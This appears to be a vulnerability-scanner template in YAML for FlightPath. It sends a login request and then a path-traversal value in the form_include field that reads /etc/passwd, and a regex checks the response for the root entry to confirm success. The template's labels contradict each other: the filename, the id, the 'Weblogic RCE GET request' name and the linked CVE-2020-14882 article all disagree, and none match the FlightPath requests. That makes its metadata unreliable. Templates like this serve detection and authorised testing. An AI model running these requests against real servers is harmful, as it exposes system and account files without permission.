CVE-2019-13396.yaml

id: CVE-2019-1336

info:
  name: Weblogic RCE GET request 
  author: medbsq
  severity: critical 
  # link: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf


requests:
  - raw:
    - |
      POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1
      Host: {{Hostname}}
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      Accept-Encoding: gzip, deflate
      Content-Type: application/x-www-form-urlencoded
      
      callback=system_login_form&form_token=fb7c9d22c839e3fb5fa93fe383b30c9b&form_type=&form_path=login&form_params=YTowOnt9&form_include=&default_redirect_path=login&default_redirect_query=current_student_id%3D%26advising_student_id%3D&current_student_id=&user=test&password=test&btn_submit=Login

    - |
      POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1
      Host: {{Hostname}}
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
      Accept-Encoding: gzip, deflate
      Content-Type: application/x-www-form-urlencoded
     
      callback=system_login_form&form_token=fb7c9d22c839e3fb5fa93fe383b30c9b&form_include=../../../../../../../../../etc/passwd
    

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"